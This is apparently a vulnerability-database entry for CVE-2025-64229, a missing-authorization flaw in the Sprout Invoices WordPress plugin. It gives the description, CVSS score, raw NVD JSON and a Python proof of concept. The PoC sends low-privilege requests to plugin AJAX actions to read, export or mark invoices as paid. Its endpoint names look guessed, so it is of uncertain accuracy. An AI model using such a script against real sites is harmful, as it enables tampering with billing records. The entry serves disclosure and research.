Security Vulnerability Report
中文
CVE-2025-64229 CVSS 4.3 MEDIUM

CVE-2025-64229

Published: 2025-10-29 09:15:44
Last Modified: 2026-04-15 00:35:42

Description

Missing Authorization vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.7.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sprout Invoices (BoldGrid Client Invoicing) <= 20.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64229 PoC - Sprout Invoices Broken Access Control # This PoC demonstrates the missing authorization vulnerability import requests import sys TARGET_URL = "https://target-site.com/wp-admin/admin-ajax.php" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_[hash]": "user_session_token" } def exploit_broken_access_control(): """ Exploit missing authorization in Sprout Invoices plugin. The plugin fails to properly verify user capabilities before allowing access to privileged functions. """ # Step 1: Identify vulnerable endpoint vulnerable_endpoints = [ "/wp-admin/admin-ajax.php?action=si_get_invoice_data", "/wp-admin/admin-ajax.php?action=si_export_invoice", "/wp-admin/admin-ajax.php?action=si_update_invoice_status" ] # Step 2: Craft request with low-privilege user session headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } payload = { "invoice_id": "1", "nonce": "", # May not be properly validated "status": "paid" } # Step 3: Send request without proper authorization for endpoint in vulnerable_endpoints: try: response = requests.post( TARGET_URL + endpoint.split("/wp-admin")[1], data=payload, cookies=COOKIES, headers=headers, timeout=10 ) if response.status_code == 200: # Check if unauthorized access was successful if "invoice" in response.text.lower() or "success" in response.text.lower(): print(f"[!] Vulnerability confirmed at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error testing {endpoint}: {e}") return False if __name__ == "__main__": print("CVE-2025-64229 - Sprout Invoices Broken Access Control") print("Target: WordPress with sprout-invoices plugin < 20.8.8") exploit_broken_access_control()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64229", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:44.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.7."}, {"lang": "es", "value": "Vulnerabilidad de Ausencia de Autorización en BoldGrid Facturación de Clientes de Sprout Invoices sprout-invoices permite explotar niveles de seguridad de control de acceso mal configurados. Este problema afecta a Facturación de Clientes de Sprout Invoices: desde n/a hasta menor igual que 20.8.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sprout-invoices/vulnerability/wordpress-client-invoicing-by-sprout-invoices-plugin-20-8-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}